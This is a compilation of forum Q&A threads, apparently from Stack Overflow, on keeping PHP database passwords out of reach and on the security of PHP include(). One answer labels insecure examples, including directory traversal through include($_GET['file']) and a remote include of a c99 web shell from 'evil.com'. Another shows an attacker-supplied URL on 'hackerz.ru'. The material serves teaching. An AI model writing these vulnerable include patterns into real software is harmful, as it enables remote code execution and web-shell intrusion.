In tutrorials for Connecting to MySQL with PHP you see something similar to the below.
$pdo = new PDO('mysql:host=localhost;dbname=mydb', 'myuser','mypassword');
I have a connection working this way on my localhost but for putting it live what do you do about the password? Do you just leave it as plain text like that in your php file? Or is there a more secure way to handle this?
Nobody can see your connection string if they look at the source, it can only be seen by looking at your raw code. I would also have it inside a separate file, and include the file on your page. This also helps if you need to change the password, as you won't have to edit every page that uses a connection - you'll only need to edit the one file.
Alternatively, you can have a connection string in an include file and place it outside of document root. This stops people getting to this file using a browser or if they attack your FTP. This will help security of your plain-text passwords, but is still accessible if somebody gets/has access to your local directories. To do this, you may need to configure a PHP configuration variable, open_basedir, which allows your script to talk to a file outside of root. This all depends on if you have access to a folder behind root of course, and if you can change that configuration variable.
Other than that, there's not much that can be done.
Include File Example:
Create a file called conn.php and store your connection in there.
$dbConn = mysql_connect($host, $user, $pass);
mysql_select_db("dbName", $dbConn);
On the page that needs the connection, include the conn.php file like so:
<?php
include("conn.php");
if (!dbConn) {
die('Sorry, our database did not load. Please try again later.');
exit();
}
$result = mysql_query("...");
?>
An end user will never be able to see the text inside a PHP script. They only see what is output by the code. You can put passwords like that in, as long as you never do something like:
$mySecretPassIs='TheBoogeyManCometh';
echo $mySecretPassIs;
Having said that, it is often easier to put your connection details in a script, include it as you need from the various pages and off you go. The benefit is that if you change passwords or the like, you only have to change it in one place, and you can keep these included files in one safe place.
There really is no way around it. Just put that line in a mysql_connect.php file and include() it, so it's not on your source pages.
This way, even if someone is looking at your source, the password won't be immediately available.
Make sure your database permissions only allow that user certain privileges on the database, so even if the password is compromised, they only can modify things in that one database.
Related
I’m looking for a best-practice on storing database credentials for use with PDO.
My DB is stored on GoDaddy, and has a couple of hundred users (maybe).
I recently converted from using mysql_* to PDO and after much Googling for an answer I’ve come to the conclusion that no clear, concise method exists.
Currently I use a config.inc file that stores the credentials as;
<?php
$strHostName = “10.10.10.10”;
$strDbName = “dbname”;
$strUserName = “dbuser”;
$strPassword = “xxx***xxx”;
?>
I do the following in my code;
<?
….stufff
require_once(‘config.inc’);
$db_found = new PDO("mysql:host=$strHostName;dbname=$strDbName;charset=utf8", $strUserName, $strPassword, array(PDO::ATTR_EMULATE_PREPARES => false,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
…lots more stuff
?>
This works fine but I’m concerned about the security of the config.inc file. Is there a preferred method to do this?
Thanks…
I'm not sure how this works really as I haven't tried it, but learned about it the other day so I thought I'd share.
With GoDaddy you can point your primary domain name at a sub-directory, therefore creating a new document root before it, so to speak.
For example, create a new directory called 'application' in your root directory, upload your application's files there and point your domain there (You may need to remove the domain name first and then add it again with the specified directory). You can then include files - your database credentials for example - from before your new document root, which is now not available to the public but available to your application.
NEW STRUCTURE
DB Credentials:
/home/www/html/someSite/dbCredentials.php
Your Website (where primary domain is now pointed):
/home/www/html/someSite/application/index.php
EXAMPLE:
In dbCredentials.php add your credentials:
<?php
$strHostName = “10.10.10.10”;
$strDbName = “dbname”;
$strUserName = “dbuser”;
$strPassword = “xxx***xxx”;
?>
On your web page, include the file and use variables as normal:
<?php
require_once ('/home/www/html/someSite/dbCredentials.php');
$db_found = new PDO("mysql:host=$strHostName..........);
?>
SOURCE:
http://support.godaddy.com/help/article/4175/specifying-a-new-default-document-root-on-your-hosting-account?pc_split_value=4&countrysite=uk
If you try it, let me know how it goes.
Make sure the password is stored in a file that is either not readable, or accessible from the web.
Storing the password in a .php file is considered safe because you can not see the contents of a .php file from the web (only it's output).
You can also store the file outside of the webroot, which makes the file wholly inaccessible from the web.
Another solution is to use the native webserver ignore rules. Files that start with a . like .password are hidden on some webservers. Specifically Apache hides all files that start with .ht. These depend on webserver vendor though so be cautious.
Storing the password in config.inc runs the risk of accidentally exposing the contents when it's in a web-accessible folder.
You don't need to worry about someone gaining access to your server and reading the password from the file because you'll have bigger problems: they have access to your server :)
You could also place the password as an environment variable on your hosting server and use getenv from your php application to read the password.
Is it necessary to unset my password variable for my MySQL database.
Currently, my code for my "dbpwd.php" is like this:
# database setup
$dbserver = "localhost";
$db_usrname = "blah";
$db_pwd = "blahblahblah";
$dbname = "blah";
but I was thinking.... is this a securtly concern.. because anyone can just do this:
<?php
include 'http://www.mywebsite.com/dbpwd.php';
echo $db_usrname;
echo $db_pwd;
?>
Wouldn't that give them full access to my stuff... so is it good practice to unset variables that are sensitive at the end of your php code? or is there something that I am missing?
Edit to clarify...
In this situation listed above... they would be using their own php server (not mine), and using include from there php file to get information from my server.
If someone attempts to perform a remote include via allow_url_fopen to your script, remember that from your server's point of view that is a regular HTTP request. A properly configured server would then execute the PHP code, rather than send it down as source. So what they would receive, assuming your database configuration file produces no output, would be a blank document. They would not see or have access to your variables.
The result is the same as if you pointed your web browser to http://www.mywebsite.com/dbpwd.php. You would see a blank page.
As I mentioned though, this relies on your web server being properly configured to execute PHP code (which it should be if your code runs when requested otherwise). It is always recommended though, to place sensitive files outside the server's document root to avoid this issue should your server ever become incorrectly configured.
To answer the other part of your question, you do not need to unset any variables. PHP will clean them up when they are no longer needed, and they are not a danger to your security.
imho closing the database connection is quite enough and you do not need to unset those variables.
Also as Michael Berkowski pointed out - you need to put db connection files outside of document root.
Currently i check user/pass in line 4 while the previous lines contain include php file for config and connecting to database and also a file that contain useful functions...
I wanna know is this wrong to check for Authority after include those file or it's better to put it at top ?
Also i'm new in php
require_once('includes/config.php');
require_once('includes/connection.php');
require_once('includes/functions.php'); checkAuthority();
PS: checkAuthority function has session_start() within it, while it's not at the top right now but still works.
No, it is not wrong unless you are doing something in your included files that should only be done when a user is logged in. It looks though, that you include scripts that are nescessary to authenticate the user (e.g. a database connection).
Also, no one says, session_start() must be executed before anything else is. There must not be any other output though before you execute session_start() (e.g. an echo). If you would echo something in config.php for example, session_start() in checkAuthority() would fail.
In order to validate user, you will need your database. For that it looks like you'll need
require_once('includes/config.php');
require_once('includes/connection.php');
Then to use the checkAuthority function, you'll need require_once('includes/functions.php');
So your placement is correct. There is no need to change anything.
You probably using databases and i thing you have places those db settings in config.php so you must check user/pass after including some common files.
I'm using the "include" function (e.x. "include 'header2.php'" or "include 'class.users.php'")
to add the header or session class in my website. I don't really remember where, but I heard that hackers abuse, somehow, this "include" thing, sending the fake included page or something like that.
So basically I would like to know what's with that "include" function, how can I protect it, how do they abuse it and if there are better solutions for what I am looking for.
Thanks in advance.
It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.
Insecure (Directory Traversal)
<?php
include($_GET['file']);
?>
Insecure (URL fopen - If enabled)
<?php
include('http://evil.com/c99shell.php');
?>
Insecure
<?php
include('./some_dir/' . $_GET['file']);
?>
Partially Insecure ( *.php files are vulnerable )
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
Secure (Though not sure why anyone would do this.)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
Secure
<?php
include('./includes/somefile.php');
?>
The biggest issue with includes is likely changing filename extension from PHP to something that doesn't get automatically executed by the web server. For example- library.inc, or config.inc. Invoking these files with a web browser will reveal the code instead of executing it - and any passwords or exploitable hints will be shown.
Compare config.php that might have a password in it with config.inc. Pulling up config.inc would in most cases show what the database password was.
There are programmers who use .inc extensions for libraries. The premise is that they won't be in a directory accessible by a web server. However, less security paranoid programmers might dump that file into a convenient web directory.
Otherwise, ensure that you don't include a file that's submitted by a query string somehow. Ex: include( $_GET['menu_file'] ) <-- this is very wrong.
Include can be abused if you do something like this:
include($_GET["page"]);
and then call the URL:
myscript.php?page=index.php
attackers can then substitute index.php for hxxp://hackerz.ru/install_stuff.php and your server will gladly run it.
include itself is perfectly safe. Just make sure to always validate/escape your input.
Anything server side (assuming your server isn't compromised) is safe. Doing this:
Insecure
$var = $_GET['var']';
include $var . ".php";
Secure
include "page.php";
Include is safe provided you don't:
Include a remote file like www.someoneelsesssite.com/something.php
Include a file from a path that came from the client. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
Include a file from another possibly tainted source like a database.
2 and 3 technically have the caveat that if you disallow . or / or on windows \ you are probably fine. But if you don't know why, you don't know enough about it to risk it. Even when you think the database is read only or otherwise secure, it is wise to not assume that unless you really have to, which is almost never.
As pp19dd's answer points out. It is also vital that you name your includes with the .php extension. If you've set apache (or whatever web server you are using) to parse another file type as PHP too, that's safe as well. But if you don't know for sure, use .php exclusively.
The best thing to do is ensure that the page you are trying to include exists first. The real security loopholes come when your include page is processed from some sort of user input, such as a URL variable. ?include=page.php As long as you are cautious of these you should be fine.
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
I'm using this method.
<?php include (dirname(__FILE__).'/file.php');
If I have a http server with various HTML pages and various PHP (or other) scripts, then If I try to view the code (as in Chrome's View source tool) then the PHP code is not shown, which is just as well. I want to know how secure from prying eyes is the code? Would a password hardcoded into the script be safe?
The only time your PHP code could become exposed is if the script somehow becomes treated as "not-PHP" and gets served up as raw text. If your server configuration is correct, then the code is 'safe' from web-based leakage.
That being said, it is best to put critical information that should remain private (usersnames/passwords, config variables, database DSNs, etc...) in a separate file that's kept OUTSIDE of the site's document root. That way, even if PHP becomes corrupted/disabled on the server, all a user would see is
<?php
include('critical_data_here.php');
?>
and not
<?php
$username = 'root';
$password = 'password';
$lotto_ticket_worth_50million = 'under the left couch cushion at 221B Baker Street';
?>
It's never 100% safe to keep passwords, especially on your server.
If you have to keep passwords in script - keep them in files, which placed not in public directory (can not be accessed by user in browser).
<?php
$password = "password";
?>
is save until you've got PHP module loaded.
<span>$password = "password";</span>
is not secure and will not work